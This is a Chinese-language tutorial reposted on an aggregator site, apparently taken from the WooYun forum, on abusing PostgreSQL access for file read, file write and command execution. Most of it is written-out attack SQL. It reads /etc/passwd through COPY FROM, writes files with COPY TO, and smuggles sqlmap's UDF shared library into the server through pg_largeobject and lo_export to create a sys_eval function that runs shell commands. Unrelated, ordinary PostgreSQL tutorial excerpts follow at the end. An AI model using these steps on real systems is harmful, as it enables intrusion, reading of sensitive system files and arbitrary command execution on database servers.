首页 / POSTGRCSQL / PostgreSql那点事（文件读取写入、命令执行的办法）

PostgreSql那点事（文件读取写入、命令执行的办法）

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了PostgreSql那点事（文件读取写入、命令执行的办法），小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含7276字，纯文字阅读大概需要11分钟。

内容图文

PostgreSql那点事（文件读取写入、命令执行的办法）

今天无意发现了个PostgreSQL环境，线上学习了下，一般的数据注射（读写数据库）差异不大，不做讨论，个人比较关心PostgreSQL的文件读取和命令执行方面。

1，文件读取/写入
PostgreSQL 8.1 以后提供了一组现成的文件操作函数 pg_logdir_ls()、pg_ls_dir()、pg_file_rename()、pg_file_write()、 pg_read_file()、pg_length_file()，用这些就可以胡作非为了？你错了。。。
可以用这个函数直接读取/etc/passwd？实际情况下测试并未成功，因为pg_xxx这个adminpack将权限限制在了./postgresql/data下面。
a）比如列目录

PostgreSql那点事（文件读取写入、命令执行的办法） - 文章图片

b）读取权限允许的文件
PostgreSql那点事（文件读取写入、命令执行的办法） - 文章图片
还有个写文件函数测试并未成功，而且只能像data下写也是满足不了需求的。
c）比较可行的文件读取方案

Default

drop table wooyun;
CREATE TABLE wooyun(t TEXT);
COPY wooyun FROM ‘/etc/passwd‘;
SELECT * FROM wooyun limit 1 offset 0;

1 2 3 4

drop table wooyun; CREATE TABLE wooyun(t TEXT); COPY wooyun FROM ‘/etc/passwd‘; SELECT * FROM wooyun limit 1 offset 0;

PostgreSql那点事（文件读取写入、命令执行的办法） - 文章图片

利用注射修改偏移值很快就可以遍历出来了，但是还是有点寒碜，直接读出全部数据

Default

DROP TABLE wooyun;
CREATE TABLE wooyun (t TEXT);
COPY wooyun(t) FROM ‘/etc/passwd‘;
SELECT * FROM wooyun;

1 2 3 4

DROP TABLE wooyun; CREATE TABLE wooyun (t TEXT); COPY wooyun(t) FROM ‘/etc/passwd‘; SELECT * FROM wooyun;

PostgreSql那点事（文件读取写入、命令执行的办法） - 文章图片
d）写入文件

Default

DROP TABLE wooyun;
CREATE TABLE wooyun (t TEXT);
INSERT INTO wooyun(t) VALUES (‘hello wooyun‘);
COPY wooyun(t) TO ‘/tmp/wooyun‘;

1 2 3 4

DROP TABLE wooyun; CREATE TABLE wooyun (t TEXT); INSERT INTO wooyun(t) VALUES (‘hello wooyun‘); COPY wooyun(t) TO ‘/tmp/wooyun‘;

PostgreSql那点事（文件读取写入、命令执行的办法） - 文章图片
读一下看看是否存在

Bingo~

2，命令执行
这里大概有三种方式
a）利用 libc 中的 system() 函数
很多文章会让我们添加一个到libc库的自定义功能函数

Default

CREATE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6‘, ‘system‘ LANGUAGE ‘C‘ STRICT;

1	CREATE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6‘, ‘system‘ LANGUAGE ‘C‘ STRICT;

但是返回错误
Error : ERROR: incompatible library “/lib64/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
这是因为当PostgreSQL加载外部动态库的时候，会检查MAGIC DATA，如果没有这个函数（Pg_magic_func），PostgreSQL认为这个动态库不是PostgreSQL可以使用的动态库。具体逻辑请看 src/backend/utils/fmgr/dfmgr.c 中定义的 internal_load_library 函数源代码。
这样一来就等同于建立了一个“白名单”，系统自带的库默认我不再允许动态加载，所以此路不通（也许低版本走的通，但我手里这个不行）。
给一个 Pg_magic_func 代码样例：

Default

extern PGDLLEXPORT const Pg_magic_struct * Pg_magic_func(void);
const Pg_magic_struct *
Pg_magic_func(void)
{
static const Pg_magic_struct Pg_magic_data = PG_MODULE_MAGIC_DATA;
return &amp;Pg_magic_data;
}

1 2 3 4 5 6 7

extern PGDLLEXPORT const Pg_magic_struct * Pg_magic_func(void); const Pg_magic_struct * Pg_magic_func(void) { static const Pg_magic_struct Pg_magic_data = PG_MODULE_MAGIC_DATA; return &Pg_magic_data; }

b）利用Perl/Python脚本语言功能
在zone上看过一帖，http://zone.wooyun.org/content/1591，很纳闷为什么这样定义函数就可以执行系统命令，plperlu又是啥，经过资料的挖掘，发现是PostgreSQL自带的一种程序语言支持。
具体可见这里（http://www.postgresql.org/docs/8.3/static/xplang.html）。
大概意思就是PostgreSQL允许用除了SQL和C的其他语言来编写函数，但这个很悲剧啊，我的环境没有安装PostgreSQL的Python和Perl支持，待我弄个环境在来实现下过程。

c）利用C语言自定义函数
Perl、Python都能在PostgreSQL自定义了更不用说C了。这个在sqlmap的udf目录下有现成的，而且还是根据版本加了Pg_magic_func函数的，可以加载。。。牛鞭！

Default

FengGou:8.4 $ pwd
/Users/FengGou/sqlmap/udf/postgresql/linux/64/8.4
FengGou:8.4 $ ls
lib_postgresqludf_sys.so

1 2 3 4

FengGou:8.4 $ pwd /Users/FengGou/sqlmap/udf/postgresql/linux/64/8.4 FengGou:8.4 $ ls lib_postgresqludf_sys.so

将sqlmap的so文件转为16进制的代码，

Default

7F454C4602010100000000000000000003003E0001000000C00C0000000000004000000000000000A0170000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000008413000000000000841300000000000000002000000000000100000006000000881300000000000088132000000000008813200000000000A802000000000000B00200000000000000002000000000000200000006000000B013000000000000B013200000000000B01... ...

7F454C4602010100000000000000000003003E0001000000C00C0000000000004000000000000000A0170000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000008413000000000000841300000000000000002000000000000100000006000000881300000000000088132000000000008813200000000000A802000000000000B00200000000000000002000000000000200000006000000B013000000000000B013200000000000B01... ...

老他么长的一段，怎么还原成二进制的so库文件呢？这里感谢 @瞌睡龙提供的Tips，这里用到了PostgreSQL的pg_largeobject“大对象数据”，官方原文：pg_largeobject 表保存那些标记着”大对象”的数据。一个大对象是使用其创建时分配的 OID 标识的。每个大对象都分解成足够小的小段或者”页面”以便以行的形式存储在 pg_largeobject 里。每页的数据定义为LOBLKSIZE(目前是BLCKSZ/4，或者通常是 2K 字节)。

a）查看PostgreSQL目录

Default

SELECT setting FROM pg_settings WHERE name=‘data_directory‘;

1	SELECT setting FROM pg_settings WHERE name=‘data_directory‘;

b）查询oid

Default

select lo_creat(-1);

1	select lo_creat(-1);

oid为当前对象大数据的标识符，我们要利用这个存储UDF文件内容。
c）oid与上面保持一致

Default

delete from pg_largeobject where loid=18412;

1	delete from pg_largeobject where loid=18412;

等于变相清空”页面”，不要干扰库的生成
d）把16进制的so文件塞进去

Default

insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode(‘7F454CXXXXXXXXX000‘, ‘hex‘));

1	insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode(‘7F454CXXXXXXXXX000‘, ‘hex‘));

e）利用PostgreSQL自带函数将大型对象导出到文件

Default

SELECT lo_export(18412, ‘cmd.so‘);

1	SELECT lo_export(18412, ‘cmd.so‘);

f）建立UDF

Default

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS ‘/xxx/cmd.so‘, ‘sys_eval‘ LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

1	CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS ‘/xxx/cmd.so‘, ‘sys_eval‘ LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

g）调用这个UDF

Default

select sys_eval(‘id‘);

1	select sys_eval(‘id‘);

PostgreSql那点事（文件读取写入、命令执行的办法） - 文章图片

也许服务器没装PostgreSQL的Perl、Python支持，但是C库是通用的。

相关文章《Postgresql注入语法指南》《postgresql读写文件和破解密码》

参考：
[1]PostgreSQL SQL Injection Cheat Sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
[2]OWASP Backend Security Project Testing PostgreSQL
https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
[3]PostGreSQL注入学习(续篇)
http://www.hackol.com/news/201007270731289820885.shtml
[4]PostgreSQL Adminpack
http://www.postgresql.org/docs/8.4/static/adminpack.html
[5]PostgreSQL 外部动态连接库魔法块的使用
http://my.oschina.net/quanzl/blog/136907
[6]Chapter 37. Procedural Languages
http://www.postgresql.org/docs/8.3/static/xplang.html
[7]postgresql “初级”注入大法
http://zone.wooyun.org/content/1591
[8]pg_largeobject
http://www.php100.com/manual/PostgreSQL8/catalog-pg-largeobject.html

link:http://zone.wooyun.org/content/4971

PostgreSql那点事（文件读取写入、命令执行的办法）

标签：apt 动态库 UI static 测试 inject href 写入文件 hex

本文系统来源：http://www.cnblogs.com/pshell/p/7791694.html

内容总结

以上是互联网集市为您收集整理的PostgreSql那点事（文件读取写入、命令执行的办法）全部内容，希望文章能够帮你解决PostgreSql那点事（文件读取写入、命令执行的办法）所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/493162.html

来源：【匿名】

【上一篇】postgresql常用命令【下一篇】PDO扩展连接PostgreSQL对象关系数据库步骤详解

更多 ►

【PostgreSql那点事（文件读取写入、命令执行的办法）】教程文章相关的互联网学习教程文章

PostgreSQL代码分析，查询优化部分，pull_ands()和pull_ors()【图】

PostgreSQL代码分析，查询优化部分。这里把规范谓词表达式的部分就整理完了，阅读的顺序例如以下：一、PostgreSQL代码分析，查询优化部分，canonicalize_qual二、PostgreSQL代码分析，查询优化部分，pull_ands()和pull_ors()三、PostgreSQL代码分析，查询优化部分，process_duplicate_ors*************************************************************************************************************************************...

科学地增加postgresql最大连接数【代码】

PG配置文件路径/etc/postgresql/9.3/main/postgresql.conf首先如何查看最大连接数This SQL will help youselect max_conn,used,res_for_super,max_conn-used-res_for_super res_for_normal from (select count(*) used from pg_stat_activity) t1,(select setting::int res_for_super from pg_settings where name=$$superuser_reserved_connections$$) t2,(select setting::int max_conn from pg_settings where name=$$max_conn...

postgresql 10 安装【代码】【图】

windows 安装第一步：下载https://www.enterprisedb.com/download-postgresql-binaries将解压后的文件去掉一层放入 E:\Program Files，程序目录为 E:\Program Files\pgsql第二步：解压压缩包，配置环境变量新建数据目录 E:\postgresql\11\pgsql\data （这是数据库的数据存储文件夹）在 E:\Program Files\pgsql 新建一个名为env.vbs的文件on error resume next set sysenv=CreateObject("WScript.Shell").Environment("system")...

PostgreSQL统计每天的记录数量,没有记录就为0或返回null【代码】【图】

1. 需求统计下面事件类型的数量，没有此类型没有数据的返回为null，前端显示为0，请写出PostgreSQL的sql SQL语句是：select t.event_code as eventCode,t.event_name as eventName,s.eventNum from event_type t LEFTJOIN (select s.parent_codeas eventCode,count(id) as eventNumfrom article s where1=1groupby s.parent_code orderby eventNum desc) s on s.eventCode=t.event_code where t.parent_code=‘0‘显示结果：...

PostgreSQL学习手册(目录)

原文地址：http://www.cnblogs.com/stephen-liu74/archive/2012/06/08/2315679.html 事实上之前有很长一段时间都在纠结是否有必要好好学习它，但是始终都没有一个很好的理由说服自己。甚至是直到这个项目最终决定选用PostgreSQL时，我都没有真正意识到学习它的价值，当时只是想反正和其它数据库差不多，能用就行了。然而有一天晚上，自己也不知道为什么，躺在床上开始回想整个项目的实施过程，想着想着就想到了数据库选型这一问...

PostgreSQL备机checkpoint【代码】

数据库异常关闭时，数据库关闭时来不及或者没机会做checkpoint，则需要从上一个一致性检查的开始恢复。 ? ? PostgreSQL备机checkpoint是不能产生checkpoint WAL的，因为如果写这样类型的checkpoint的话，就会将接收的WAL打乱，那么日志将混乱，回放会出问题。? ? 那么问题来了，备机支持checkpoint吗？他的checkpoint怎么做的？? ? PostgreSQL为了缩短恢复时间，备机上也支持checkpoint，即CreateRestartPoint。但是其pg_control文...

构建基于CentOS 7.6 的PostgreSQL 11.6 镜像【代码】

案例说明： 1）CentOS 7.6的基础镜像上创建PostgreSQL 11.6镜像。2）创建PostgreSQL 11.6 镜像的Dockerfile。3）下载PostgreSQL 11.6的源码包和Dockerfile存放在相同的目录下 1、启动docker服务[root@node1 soft]# systemctl start docker[root@node1 soft]# systemctl status docker ● docker.service - Docker Application Container EngineLoaded: loaded (/usr/lib/systemd/system/docker.service; disabled; vendor pr...

PostgreSQL服务端监听设置及client连接方法

背景介绍： PostgreSQL服务端执行在RedHat Linux上,IP为：192.168.230.128 client安装在Windows XP上， IP为：192.168.230.1配置方法： 1. 改动服务端/opt/postgresql/data/postgresql.conf文件,将#listen_address=‘localhost‘改成listen_address=‘*‘ 2. 改动/opt/postgresql/data/gp_hba.conf文件在当中添加client的ip，例如以下,注意最后一行：# TYPE DATABASE USER CIDR-ADDRESS METHOD# "local" i...

java web中向postgreSQL插入当前时间【代码】

方式1 常用插入方式Timestamp currentTime= new Timestamp(System.currentTimeMillis()); String sql = "INSERTINTO message(date_create) VALUES (" + "‘" + currentTime + "‘" + ");";方式2 使用占位符Timestamp currentTime= new Timestamp(System.currentTimeMillis()); String sql = "INSERTINTO message( date_create) VALUES (?);"; PreparedStatement pst = conn.prepareStatement(sql,Statement.RETURN_GENERATE...

PostgreSQL 9.5.4数据库快速INSERT大量数据研究【代码】

PostgreSQL 9.5.4数据库快速INSERT大量数据研究背景在一些应用场景中，需要向Abase数据库中快速装入大量的数据，比如数据库迁移，SQL日志分析等。在PG上快速插入数据有几种方案，每种方案的效率怎么样？如何调优能加快的数据装载？场景设定SQL日志分析是一个采集JDBC日志、分析SQL、发送分析结果工具。在分析阶段，需要解析大量的JDBC日志，并把解析后的结构化结果装入数据库供后续处理。以分析阶段为实验场景，以解析JDBC日志(多个...

PostgreSQL Replication之第三章理解即时恢复（2）

3.2 归档事务日志看过图片之后，我们可以看看如何使这些东西进入工作状态。当谈到及时归档时，您需要做的第一件事是归档XLOG。PostgreSQL通过postgresql.conf提供了所有与归档相关的选项。让我们一步一步地看，要启动归档需要在postgresql.conf中做什么：1. 首先，您应该把archive_mode设置为 on。2. 第二步，您应该配置您的归档命令。归档命令是一个简单的带有两个参数的shell命令：1. %p: 这是一个表示应该被归档的的XLOG的占位符...

linux postgresql 离线安装记录

由于服务器无法连接外网，通过yum指令来安装PostgreSQL的可能性是零，所以需要离线安装操作。下载离线 rpm 包：https://yum.postgresql.org/rpmchart/由于几个rpm彼此之间的依赖关系，所以我安装的先后顺序是：rpm -ivh example.rpm1. postgresql11-libs-11.8-1PGDG.rhel7.x86_64.rpm2. postgresql11-11.8-1PGDG.rhel7.x86_64.rpm3. postgresql11-server-11.8-1PGDG.rhel7.x86_64.rpm4. postgresql11-contrib-11.8-1PGDG.rhel7.x86...

PostgreSQL编译安装【代码】

获取源码略编译安装对于性能型的软件，我们采用编译的方式进行安装。安装依赖yum install -y systemtap-sdt-devel perl-ExtUtils-Embed pam-devel libxml2-devel libxslt-devel python-devel编译./configure --prefix=/opt/pgsql-9.3.2 --with-perl --with-python --with-openssl --with-pam --without-ldap --with-libxml --with-libxslt --enable-thread-safety --with-wal-blocksize=16 --with-blocksize=16 --enable-dtrace -...

PostgreSQL之Buffer Cache【代码】【图】

缓冲区高速缓存（Buffer Cache）位于服务器的共享内存中，并且所有进程均可访问。在读取或更新数据时，进程将页面读入缓存。当页面位于缓存中时，我们在RAM中使用它并保存数据到磁盘。当一个进程需要读取一个页面时，它首先尝试通过哈希表在Buffer Cache中找到它，如果在Buffer Cache中找不到所需的页面。在这种情况下，需要将页面从磁盘读取到某个缓冲区中。 PostgreSQL有一个扩展，使我们能够查看缓冲区高速缓存的内部。安装扩...

postgresql数据迁移

postgresql从库故障准备新库1，创建用户[root@localhost home]# userdel postgres[root@localhost home]# groupdel postgresmkdir /home/mydbchown -R postgres:postgres /home/mydb2，解压安装包[root@localhost home]## tar -xvf postgres/postgresql-8.1.4.tarcd postgres/postgresql-8.1.4编译安装： ./configure --prefix=/usr/local/pgsql -localstatedir=/home/mydb $ ./configure --prefix=/usr/local/pgsql --with-pgco...

首页 / POSTGRCSQL / PostgreSql那点事（文件读取写入、命令执行的办法）

PostgreSql那点事（文件读取写入、命令执行的办法）

内容导读

内容图文

PostgreSql那点事（文件读取写入、命令执行的办法）

内容总结

内容备注

内容手机端

【PostgreSql那点事（文件读取写入、命令执行的办法）】教程文章相关的互联网学习教程文章

POSTGRESQL - 相关标签

文件 - 相关标签

执行 - 相关标签

POSTGRCSQL - 技术教程分类

POSTGRCSQL - 最新教程

POSTGRCSQL - 最热教程